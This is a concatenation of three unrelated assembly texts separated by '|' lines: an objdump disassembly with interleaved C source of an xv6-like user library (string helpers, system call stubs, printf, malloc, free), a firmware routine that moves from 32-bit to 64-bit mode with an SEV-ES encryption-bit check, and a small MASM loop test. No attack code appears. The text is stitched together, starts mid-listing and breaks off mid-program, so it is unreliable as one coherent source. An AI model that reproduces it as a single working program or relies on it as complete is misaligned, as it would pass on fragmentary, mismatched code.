217: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
21a: 89 c6 mov %eax,%esi
close(fd);
21c: e8 ba 00 00 00 call 2db <close>
return r;
221: 83 c4 10 add $0x10,%esp
}
224: 8d 65 f8 lea -0x8(%ebp),%esp
227: 89 f0 mov %esi,%eax
229: 5b pop %ebx
22a: 5e pop %esi
22b: 5d pop %ebp
22c: c3 ret
22d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
230: be ff ff ff ff mov $0xffffffff,%esi
235: eb ed jmp 224 <stat+0x34>
237: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
23e: 66 90 xchg %ax,%ax
00000240 <atoi>:
int
atoi(const char *s)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 53 push %ebx
244: 8b 55 08 mov 0x8(%ebp),%edx
int n;
n = 0;
while('0' <= *s && *s <= '9')
247: 0f be 02 movsbl (%edx),%eax
24a: 8d 48 d0 lea -0x30(%eax),%ecx
24d: 80 f9 09 cmp $0x9,%cl
n = 0;
250: b9 00 00 00 00 mov $0x0,%ecx
while('0' <= *s && *s <= '9')
255: 77 1e ja 275 <atoi+0x35>
257: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
25e: 66 90 xchg %ax,%ax
n = n*10 + *s++ - '0';
260: 83 c2 01 add $0x1,%edx
263: 8d 0c 89 lea (%ecx,%ecx,4),%ecx
266: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx
while('0' <= *s && *s <= '9')
26a: 0f be 02 movsbl (%edx),%eax
26d: 8d 58 d0 lea -0x30(%eax),%ebx
270: 80 fb 09 cmp $0x9,%bl
273: 76 eb jbe 260 <atoi+0x20>
return n;
}
275: 8b 5d fc mov -0x4(%ebp),%ebx
278: 89 c8 mov %ecx,%eax
27a: c9 leave
27b: c3 ret
27c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000280 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 57 push %edi
284: 8b 45 10 mov 0x10(%ebp),%eax
287: 8b 55 08 mov 0x8(%ebp),%edx
28a: 56 push %esi
28b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
28e: 85 c0 test %eax,%eax
290: 7e 13 jle 2a5 <memmove+0x25>
292: 01 d0 add %edx,%eax
dst = vdst;
294: 89 d7 mov %edx,%edi
296: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
29d: 8d 76 00 lea 0x0(%esi),%esi
*dst++ = *src++;
2a0: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
2a1: 39 f8 cmp %edi,%eax
2a3: 75 fb jne 2a0 <memmove+0x20>
return vdst;
}
2a5: 5e pop %esi
2a6: 89 d0 mov %edx,%eax
2a8: 5f pop %edi
2a9: 5d pop %ebp
2aa: c3 ret
000002ab <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ab: b8 01 00 00 00 mov $0x1,%eax
2b0: cd 40 int $0x40
2b2: c3 ret
000002b3 <exit>:
SYSCALL(exit)
2b3: b8 02 00 00 00 mov $0x2,%eax
2b8: cd 40 int $0x40
2ba: c3 ret
000002bb <wait>:
SYSCALL(wait)
2bb: b8 03 00 00 00 mov $0x3,%eax
2c0: cd 40 int $0x40
2c2: c3 ret
000002c3 <pipe>:
SYSCALL(pipe)
2c3: b8 04 00 00 00 mov $0x4,%eax
2c8: cd 40 int $0x40
2ca: c3 ret
000002cb <read>:
SYSCALL(read)
2cb: b8 05 00 00 00 mov $0x5,%eax
2d0: cd 40 int $0x40
2d2: c3 ret
000002d3 <write>:
SYSCALL(write)
2d3: b8 10 00 00 00 mov $0x10,%eax
2d8: cd 40 int $0x40
2da: c3 ret
000002db <close>:
SYSCALL(close)
2db: b8 15 00 00 00 mov $0x15,%eax
2e0: cd 40 int $0x40
2e2: c3 ret
000002e3 <kill>:
SYSCALL(kill)
2e3: b8 06 00 00 00 mov $0x6,%eax
2e8: cd 40 int $0x40
2ea: c3 ret
000002eb <exec>:
SYSCALL(exec)
2eb: b8 07 00 00 00 mov $0x7,%eax
2f0: cd 40 int $0x40
2f2: c3 ret
000002f3 <open>:
SYSCALL(open)
2f3: b8 0f 00 00 00 mov $0xf,%eax
2f8: cd 40 int $0x40
2fa: c3 ret
000002fb <mknod>:
SYSCALL(mknod)
2fb: b8 11 00 00 00 mov $0x11,%eax
300: cd 40 int $0x40
302: c3 ret
00000303 <unlink>:
SYSCALL(unlink)
303: b8 12 00 00 00 mov $0x12,%eax
308: cd 40 int $0x40
30a: c3 ret
0000030b <fstat>:
SYSCALL(fstat)
30b: b8 08 00 00 00 mov $0x8,%eax
310: cd 40 int $0x40
312: c3 ret
00000313 <link>:
SYSCALL(link)
313: b8 13 00 00 00 mov $0x13,%eax
318: cd 40 int $0x40
31a: c3 ret
0000031b <mkdir>:
SYSCALL(mkdir)
31b: b8 14 00 00 00 mov $0x14,%eax
320: cd 40 int $0x40
322: c3 ret
00000323 <chdir>:
SYSCALL(chdir)
323: b8 09 00 00 00 mov $0x9,%eax
328: cd 40 int $0x40
32a: c3 ret
0000032b <dup>:
SYSCALL(dup)
32b: b8 0a 00 00 00 mov $0xa,%eax
330: cd 40 int $0x40
332: c3 ret
00000333 <getpid>:
SYSCALL(getpid)
333: b8 0b 00 00 00 mov $0xb,%eax
338: cd 40 int $0x40
33a: c3 ret
0000033b <sbrk>:
SYSCALL(sbrk)
33b: b8 0c 00 00 00 mov $0xc,%eax
340: cd 40 int $0x40
342: c3 ret
00000343 <sleep>:
SYSCALL(sleep)
343: b8 0d 00 00 00 mov $0xd,%eax
348: cd 40 int $0x40
34a: c3 ret
0000034b <uptime>:
SYSCALL(uptime)
34b: b8 0e 00 00 00 mov $0xe,%eax
350: cd 40 int $0x40
352: c3 ret
00000353 <ps>:
SYSCALL(ps)
353: b8 16 00 00 00 mov $0x16,%eax
358: cd 40 int $0x40
35a: c3 ret
0000035b <chpr>:
SYSCALL(chpr)
35b: b8 17 00 00 00 mov $0x17,%eax
360: cd 40 int $0x40
362: c3 ret
363: 66 90 xchg %ax,%ax
365: 66 90 xchg %ax,%ax
367: 66 90 xchg %ax,%ax
369: 66 90 xchg %ax,%ax
36b: 66 90 xchg %ax,%ax
36d: 66 90 xchg %ax,%ax
36f: 90 nop
00000370 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 57 push %edi
374: 56 push %esi
375: 53 push %ebx
376: 83 ec 3c sub $0x3c,%esp
379: 89 4d c4 mov %ecx,-0x3c(%ebp)
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
37c: 89 d1 mov %edx,%ecx
{
37e: 89 45 b8 mov %eax,-0x48(%ebp)
if(sgn && xx < 0){
381: 85 d2 test %edx,%edx
383: 0f 89 7f 00 00 00 jns 408 <printint+0x98>
389: f6 45 08 01 testb $0x1,0x8(%ebp)
38d: 74 79 je 408 <printint+0x98>
neg = 1;
38f: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp)
x = -xx;
396: f7 d9 neg %ecx
} else {
x = xx;
}
i = 0;
398: 31 db xor %ebx,%ebx
39a: 8d 75 d7 lea -0x29(%ebp),%esi
39d: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
3a0: 89 c8 mov %ecx,%eax
3a2: 31 d2 xor %edx,%edx
3a4: 89 cf mov %ecx,%edi
3a6: f7 75 c4 divl -0x3c(%ebp)
3a9: 0f b6 92 d0 07 00 00 movzbl 0x7d0(%edx),%edx
3b0: 89 45 c0 mov %eax,-0x40(%ebp)
3b3: 89 d8 mov %ebx,%eax
3b5: 8d 5b 01 lea 0x1(%ebx),%ebx
}while((x /= base) != 0);
3b8: 8b 4d c0 mov -0x40(%ebp),%ecx
buf[i++] = digits[x % base];
3bb: 88 14 1e mov %dl,(%esi,%ebx,1)
}while((x /= base) != 0);
3be: 39 7d c4 cmp %edi,-0x3c(%ebp)
3c1: 76 dd jbe 3a0 <printint+0x30>
if(neg)
3c3: 8b 4d bc mov -0x44(%ebp),%ecx
3c6: 85 c9 test %ecx,%ecx
3c8: 74 0c je 3d6 <printint+0x66>
buf[i++] = '-';
3ca: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
buf[i++] = digits[x % base];
3cf: 89 d8 mov %ebx,%eax
buf[i++] = '-';
3d1: ba 2d 00 00 00 mov $0x2d,%edx
while(--i >= 0)
3d6: 8b 7d b8 mov -0x48(%ebp),%edi
3d9: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
3dd: eb 07 jmp 3e6 <printint+0x76>
3df: 90 nop
putc(fd, buf[i]);
3e0: 0f b6 13 movzbl (%ebx),%edx
3e3: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
3e6: 83 ec 04 sub $0x4,%esp
3e9: 88 55 d7 mov %dl,-0x29(%ebp)
3ec: 6a 01 push $0x1
3ee: 56 push %esi
3ef: 57 push %edi
3f0: e8 de fe ff ff call 2d3 <write>
while(--i >= 0)
3f5: 83 c4 10 add $0x10,%esp
3f8: 39 de cmp %ebx,%esi
3fa: 75 e4 jne 3e0 <printint+0x70>
}
3fc: 8d 65 f4 lea -0xc(%ebp),%esp
3ff: 5b pop %ebx
400: 5e pop %esi
401: 5f pop %edi
402: 5d pop %ebp
403: c3 ret
404: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
408: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp)
40f: eb 87 jmp 398 <printint+0x28>
411: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
418: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
41f: 90 nop
00000420 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
420: 55 push %ebp
421: 89 e5 mov %esp,%ebp
423: 57 push %edi
424: 56 push %esi
425: 53 push %ebx
426: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
429: 8b 5d 0c mov 0xc(%ebp),%ebx
{
42c: 8b 75 08 mov 0x8(%ebp),%esi
for(i = 0; fmt[i]; i++){
42f: 0f b6 13 movzbl (%ebx),%edx
432: 84 d2 test %dl,%dl
434: 74 6a je 4a0 <printf+0x80>
ap = (uint*)(void*)&fmt + 1;
436: 8d 45 10 lea 0x10(%ebp),%eax
439: 83 c3 01 add $0x1,%ebx
write(fd, &c, 1);
43c: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
43f: 31 c9 xor %ecx,%ecx
ap = (uint*)(void*)&fmt + 1;
441: 89 45 d0 mov %eax,-0x30(%ebp)
444: eb 36 jmp 47c <printf+0x5c>
446: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
44d: 8d 76 00 lea 0x0(%esi),%esi
450: 89 4d d4 mov %ecx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
453: b9 25 00 00 00 mov $0x25,%ecx
if(c == '%'){
458: 83 f8 25 cmp $0x25,%eax
45b: 74 15 je 472 <printf+0x52>
write(fd, &c, 1);
45d: 83 ec 04 sub $0x4,%esp
460: 88 55 e7 mov %dl,-0x19(%ebp)
463: 6a 01 push $0x1
465: 57 push %edi
466: 56 push %esi
467: e8 67 fe ff ff call 2d3 <write>
46c: 8b 4d d4 mov -0x2c(%ebp),%ecx
} else {
putc(fd, c);
46f: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
472: 0f b6 13 movzbl (%ebx),%edx
475: 83 c3 01 add $0x1,%ebx
478: 84 d2 test %dl,%dl
47a: 74 24 je 4a0 <printf+0x80>
c = fmt[i] & 0xff;
47c: 0f b6 c2 movzbl %dl,%eax
if(state == 0){
47f: 85 c9 test %ecx,%ecx
481: 74 cd je 450 <printf+0x30>
}
} else if(state == '%'){
483: 83 f9 25 cmp $0x25,%ecx
486: 75 ea jne 472 <printf+0x52>
if(c == 'd'){
488: 83 f8 25 cmp $0x25,%eax
48b: 0f 84 07 01 00 00 je 598 <printf+0x178>
491: 83 e8 63 sub $0x63,%eax
494: 83 f8 15 cmp $0x15,%eax
497: 77 17 ja 4b0 <printf+0x90>
499: ff 24 85 78 07 00 00 jmp *0x778(,%eax,4)
putc(fd, c);
}
state = 0;
}
}
}
4a0: 8d 65 f4 lea -0xc(%ebp),%esp
4a3: 5b pop %ebx
4a4: 5e pop %esi
4a5: 5f pop %edi
4a6: 5d pop %ebp
4a7: c3 ret
4a8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4af: 90 nop
write(fd, &c, 1);
4b0: 83 ec 04 sub $0x4,%esp
4b3: 88 55 d4 mov %dl,-0x2c(%ebp)
4b6: 6a 01 push $0x1
4b8: 57 push %edi
4b9: 56 push %esi
4ba: c6 45 e7 25 movb $0x25,-0x19(%ebp)
4be: e8 10 fe ff ff call 2d3 <write>
putc(fd, c);
4c3: 0f b6 55 d4 movzbl -0x2c(%ebp),%edx
write(fd, &c, 1);
4c7: 83 c4 0c add $0xc,%esp
4ca: 88 55 e7 mov %dl,-0x19(%ebp)
4cd: 6a 01 push $0x1
4cf: 57 push %edi
4d0: 56 push %esi
4d1: e8 fd fd ff ff call 2d3 <write>
putc(fd, c);
4d6: 83 c4 10 add $0x10,%esp
state = 0;
4d9: 31 c9 xor %ecx,%ecx
4db: eb 95 jmp 472 <printf+0x52>
4dd: 8d 76 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4e0: 83 ec 0c sub $0xc,%esp
4e3: b9 10 00 00 00 mov $0x10,%ecx
4e8: 6a 00 push $0x0
4ea: 8b 45 d0 mov -0x30(%ebp),%eax
4ed: 8b 10 mov (%eax),%edx
4ef: 89 f0 mov %esi,%eax
4f1: e8 7a fe ff ff call 370 <printint>
ap++;
4f6: 83 45 d0 04 addl $0x4,-0x30(%ebp)
4fa: 83 c4 10 add $0x10,%esp
state = 0;
4fd: 31 c9 xor %ecx,%ecx
4ff: e9 6e ff ff ff jmp 472 <printf+0x52>
504: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
508: 8b 45 d0 mov -0x30(%ebp),%eax
50b: 8b 10 mov (%eax),%edx
ap++;
50d: 83 c0 04 add $0x4,%eax
510: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
513: 85 d2 test %edx,%edx
515: 0f 84 8d 00 00 00 je 5a8 <printf+0x188>
while(*s != 0){
51b: 0f b6 02 movzbl (%edx),%eax
state = 0;
51e: 31 c9 xor %ecx,%ecx
while(*s != 0){
520: 84 c0 test %al,%al
522: 0f 84 4a ff ff ff je 472 <printf+0x52>
528: 89 5d d4 mov %ebx,-0x2c(%ebp)
52b: 89 d3 mov %edx,%ebx
52d: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
530: 83 ec 04 sub $0x4,%esp
s++;
533: 83 c3 01 add $0x1,%ebx
536: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
539: 6a 01 push $0x1
53b: 57 push %edi
53c: 56 push %esi
53d: e8 91 fd ff ff call 2d3 <write>
while(*s != 0){
542: 0f b6 03 movzbl (%ebx),%eax
545: 83 c4 10 add $0x10,%esp
548: 84 c0 test %al,%al
54a: 75 e4 jne 530 <printf+0x110>
state = 0;
54c: 8b 5d d4 mov -0x2c(%ebp),%ebx
54f: 31 c9 xor %ecx,%ecx
551: e9 1c ff ff ff jmp 472 <printf+0x52>
556: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
55d: 8d 76 00 lea 0x0(%esi),%esi
printint(fd, *ap, 10, 1);
560: 83 ec 0c sub $0xc,%esp
563: b9 0a 00 00 00 mov $0xa,%ecx
568: 6a 01 push $0x1
56a: e9 7b ff ff ff jmp 4ea <printf+0xca>
56f: 90 nop
putc(fd, *ap);
570: 8b 45 d0 mov -0x30(%ebp),%eax
write(fd, &c, 1);
573: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
576: 8b 00 mov (%eax),%eax
write(fd, &c, 1);
578: 6a 01 push $0x1
57a: 57 push %edi
57b: 56 push %esi
putc(fd, *ap);
57c: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
57f: e8 4f fd ff ff call 2d3 <write>
ap++;
584: 83 45 d0 04 addl $0x4,-0x30(%ebp)
588: 83 c4 10 add $0x10,%esp
state = 0;
58b: 31 c9 xor %ecx,%ecx
58d: e9 e0 fe ff ff jmp 472 <printf+0x52>
592: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
putc(fd, c);
598: 88 55 e7 mov %dl,-0x19(%ebp)
write(fd, &c, 1);
59b: 83 ec 04 sub $0x4,%esp
59e: e9 2a ff ff ff jmp 4cd <printf+0xad>
5a3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
5a7: 90 nop
s = "(null)";
5a8: ba 6f 07 00 00 mov $0x76f,%edx
while(*s != 0){
5ad: 89 5d d4 mov %ebx,-0x2c(%ebp)
5b0: b8 28 00 00 00 mov $0x28,%eax
5b5: 89 d3 mov %edx,%ebx
5b7: e9 74 ff ff ff jmp 530 <printf+0x110>
5bc: 66 90 xchg %ax,%ax
5be: 66 90 xchg %ax,%ax
000005c0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5c0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5c1: a1 e4 07 00 00 mov 0x7e4,%eax
{
5c6: 89 e5 mov %esp,%ebp
5c8: 57 push %edi
5c9: 56 push %esi
5ca: 53 push %ebx
5cb: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
5ce: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
5d8: 89 c2 mov %eax,%edx
5da: 8b 00 mov (%eax),%eax
5dc: 39 ca cmp %ecx,%edx
5de: 73 30 jae 610 <free+0x50>
5e0: 39 c1 cmp %eax,%ecx
5e2: 72 04 jb 5e8 <free+0x28>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5e4: 39 c2 cmp %eax,%edx
5e6: 72 f0 jb 5d8 <free+0x18>
break;
if(bp + bp->s.size == p->s.ptr){
5e8: 8b 73 fc mov -0x4(%ebx),%esi
5eb: 8d 3c f1 lea (%ecx,%esi,8),%edi
5ee: 39 f8 cmp %edi,%eax
5f0: 74 30 je 622 <free+0x62>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
5f2: 89 43 f8 mov %eax,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
5f5: 8b 42 04 mov 0x4(%edx),%eax
5f8: 8d 34 c2 lea (%edx,%eax,8),%esi
5fb: 39 f1 cmp %esi,%ecx
5fd: 74 3a je 639 <free+0x79>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
5ff: 89 0a mov %ecx,(%edx)
} else
p->s.ptr = bp;
freep = p;
}
601: 5b pop %ebx
freep = p;
602: 89 15 e4 07 00 00 mov %edx,0x7e4
}
608: 5e pop %esi
609: 5f pop %edi
60a: 5d pop %ebp
60b: c3 ret
60c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
610: 39 c2 cmp %eax,%edx
612: 72 c4 jb 5d8 <free+0x18>
614: 39 c1 cmp %eax,%ecx
616: 73 c0 jae 5d8 <free+0x18>
if(bp + bp->s.size == p->s.ptr){
618: 8b 73 fc mov -0x4(%ebx),%esi
61b: 8d 3c f1 lea (%ecx,%esi,8),%edi
61e: 39 f8 cmp %edi,%eax
620: 75 d0 jne 5f2 <free+0x32>
bp->s.size += p->s.ptr->s.size;
622: 03 70 04 add 0x4(%eax),%esi
625: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
628: 8b 02 mov (%edx),%eax
62a: 8b 00 mov (%eax),%eax
62c: 89 43 f8 mov %eax,-0x8(%ebx)
if(p + p->s.size == bp){
62f: 8b 42 04 mov 0x4(%edx),%eax
632: 8d 34 c2 lea (%edx,%eax,8),%esi
635: 39 f1 cmp %esi,%ecx
637: 75 c6 jne 5ff <free+0x3f>
p->s.size += bp->s.size;
639: 03 43 fc add -0x4(%ebx),%eax
freep = p;
63c: 89 15 e4 07 00 00 mov %edx,0x7e4
p->s.size += bp->s.size;
642: 89 42 04 mov %eax,0x4(%edx)
p->s.ptr = bp->s.ptr;
645: 8b 4b f8 mov -0x8(%ebx),%ecx
648: 89 0a mov %ecx,(%edx)
}
64a: 5b pop %ebx
64b: 5e pop %esi
64c: 5f pop %edi
64d: 5d pop %ebp
64e: c3 ret
64f: 90 nop
00000650 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
650: 55 push %ebp
651: 89 e5 mov %esp,%ebp
653: 57 push %edi
654: 56 push %esi
655: 53 push %ebx
656: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
659: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
65c: 8b 3d e4 07 00 00 mov 0x7e4,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
662: 8d 70 07 lea 0x7(%eax),%esi
665: c1 ee 03 shr $0x3,%esi
668: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
66b: 85 ff test %edi,%edi
66d: 0f 84 9d 00 00 00 je 710 <malloc+0xc0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
673: 8b 17 mov (%edi),%edx
if(p->s.size >= nunits){
675: 8b 4a 04 mov 0x4(%edx),%ecx
678: 39 f1 cmp %esi,%ecx
67a: 73 6a jae 6e6 <malloc+0x96>
67c: bb 00 10 00 00 mov $0x1000,%ebx
681: 39 de cmp %ebx,%esi
683: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
686: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
68d: 89 45 e4 mov %eax,-0x1c(%ebp)
690: eb 17 jmp 6a9 <malloc+0x59>
692: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
698: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
69a: 8b 48 04 mov 0x4(%eax),%ecx
69d: 39 f1 cmp %esi,%ecx
69f: 73 4f jae 6f0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6a1: 8b 3d e4 07 00 00 mov 0x7e4,%edi
6a7: 89 c2 mov %eax,%edx
6a9: 39 d7 cmp %edx,%edi
6ab: 75 eb jne 698 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6ad: 83 ec 0c sub $0xc,%esp
6b0: ff 75 e4 push -0x1c(%ebp)
6b3: e8 83 fc ff ff call 33b <sbrk>
if(p == (char*)-1)
6b8: 83 c4 10 add $0x10,%esp
6bb: 83 f8 ff cmp $0xffffffff,%eax
6be: 74 1c je 6dc <malloc+0x8c>
hp->s.size = nu;
6c0: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6c3: 83 ec 0c sub $0xc,%esp
6c6: 83 c0 08 add $0x8,%eax
6c9: 50 push %eax
6ca: e8 f1 fe ff ff call 5c0 <free>
return freep;
6cf: 8b 15 e4 07 00 00 mov 0x7e4,%edx
if((p = morecore(nunits)) == 0)
6d5: 83 c4 10 add $0x10,%esp
6d8: 85 d2 test %edx,%edx
6da: 75 bc jne 698 <malloc+0x48>
return 0;
}
}
6dc: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6df: 31 c0 xor %eax,%eax
}
6e1: 5b pop %ebx
6e2: 5e pop %esi
6e3: 5f pop %edi
6e4: 5d pop %ebp
6e5: c3 ret
if(p->s.size >= nunits){
6e6: 89 d0 mov %edx,%eax
6e8: 89 fa mov %edi,%edx
6ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
6f0: 39 ce cmp %ecx,%esi
6f2: 74 4c je 740 <malloc+0xf0>
p->s.size -= nunits;
6f4: 29 f1 sub %esi,%ecx
6f6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6f9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6fc: 89 70 04 mov %esi,0x4(%eax)
freep = prevp;
6ff: 89 15 e4 07 00 00 mov %edx,0x7e4
}
705: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
708: 83 c0 08 add $0x8,%eax
}
70b: 5b pop %ebx
70c: 5e pop %esi
70d: 5f pop %edi
70e: 5d pop %ebp
70f: c3 ret
base.s.ptr = freep = prevp = &base;
710: c7 05 e4 07 00 00 e8 movl $0x7e8,0x7e4
717: 07 00 00
base.s.size = 0;
71a: bf e8 07 00 00 mov $0x7e8,%edi
base.s.ptr = freep = prevp = &base;
71f: c7 05 e8 07 00 00 e8 movl $0x7e8,0x7e8
726: 07 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
729: 89 fa mov %edi,%edx
base.s.size = 0;
72b: c7 05 ec 07 00 00 00 movl $0x0,0x7ec
732: 00 00 00
if(p->s.size >= nunits){
735: e9 42 ff ff ff jmp 67c <malloc+0x2c>
73a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
740: 8b 08 mov (%eax),%ecx
742: 89 0a mov %ecx,(%edx)
744: eb b9 jmp 6ff <malloc+0xaf>
|
;------------------------------------------------------------------------------
; @file
; Transition from 32 bit flat protected mode into 64 bit flat protected mode
;
; Copyright (c) 2008 - 2018, Intel Corporation. All rights reserved.<BR>
; Copyright (c) 2020, Advanced Micro Devices, Inc. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
;------------------------------------------------------------------------------
BITS 32
;
; Modified: EAX, ECX, EDX
;
Transition32FlatTo64Flat:
OneTimeCall SetCr3ForPageTables64
mov eax, cr4
bts eax, 5 ; enable PAE
mov cr4, eax
;
; In TDX LME has already been set. So we're done and jump to enable
; paging directly if Tdx is enabled.
; EBX is cleared because in the later it will be used to check if
; the second step of the SEV-ES mitigation is to be performed.
;
xor ebx, ebx
OneTimeCall IsTdxEnabled
test eax, eax
jnz EnablePaging
mov ecx, 0xc0000080
rdmsr
bts eax, 8 ; set LME
wrmsr
;
; SEV-ES mitigation check support
;
xor ebx, ebx
mov ecx, 1
bt [SEV_ES_WORK_AREA_STATUS_MSR], ecx
jz EnablePaging
;
; SEV-ES is active, perform a quick sanity check against the reported
; encryption bit position. This is to help mitigate against attacks where
; the hypervisor reports an incorrect encryption bit position.
;
; This is the first step in a two step process. Before paging is enabled
; writes to memory are encrypted. Using the RDRAND instruction (available
; on all SEV capable processors), write 64-bits of random data to the
; SEV_ES_WORK_AREA and maintain the random data in registers (register
; state is protected under SEV-ES). This will be used in the second step.
;
RdRand1:
rdrand ecx
jnc RdRand1
mov dword[SEV_ES_WORK_AREA_RDRAND], ecx
RdRand2:
rdrand edx
jnc RdRand2
mov dword[SEV_ES_WORK_AREA_RDRAND + 4], edx
;
; Use EBX instead of the SEV_ES_WORK_AREA memory to determine whether to
; perform the second step.
;
mov ebx, 1
EnablePaging:
mov eax, cr0
bts eax, 31 ; set PG
mov cr0, eax ; enable paging
jmp LINEAR_CODE64_SEL:ADDR_OF(jumpTo64BitAndLandHere)
BITS 64
jumpTo64BitAndLandHere:
;
; Check if the second step of the SEV-ES mitigation is to be performed.
;
test ebx, ebx
jz InsnCompare
;
; SEV-ES is active, perform the second step of the encryption bit postion
; mitigation check. The ECX and EDX register contain data from RDRAND that
; was stored to memory in encrypted form. If the encryption bit position is
; valid, the contents of ECX and EDX will match the memory location.
;
cmp dword[SEV_ES_WORK_AREA_RDRAND], ecx
jne SevEncBitHlt
cmp dword[SEV_ES_WORK_AREA_RDRAND + 4], edx
jne SevEncBitHlt
;
; If SEV or SEV-ES is active, perform a quick sanity check against
; the reported encryption bit position. This is to help mitigate
; against attacks where the hypervisor reports an incorrect encryption
; bit position. If SEV is not active, this check will always succeed.
;
; The cmp instruction compares the first four bytes of the cmp instruction
; itself (which will be read decrypted if SEV or SEV-ES is active and the
; encryption bit position is valid) against the immediate within the
; instruction (an instruction fetch is always decrypted correctly by
; hardware) based on RIP relative addressing.
;
InsnCompare:
cmp dword[rel InsnCompare], 0xFFF63D81
je GoodCompare
;
; The hypervisor provided an incorrect encryption bit position, do not
; proceed.
;
SevEncBitHlt:
cli
hlt
jmp SevEncBitHlt
GoodCompare:
debugShowPostCode POSTCODE_64BIT_MODE
OneTimeCallRet Transition32FlatTo64Flat
|
.386p
_DATA segment use32 dword public 'DATA' ;IGNORE
_DATA ends ;IGNORE
_TEXT segment use32 dword public 'CODE' ;IGNORE
assume cs:_TEXT,ds:_DATA
start: ;IGNORE
xor edx,edx
mov ecx,10
toto:
INC edx
loop toto
cmp edx,10
jne failure
MOV al,0
JMP exitLabel
failure:
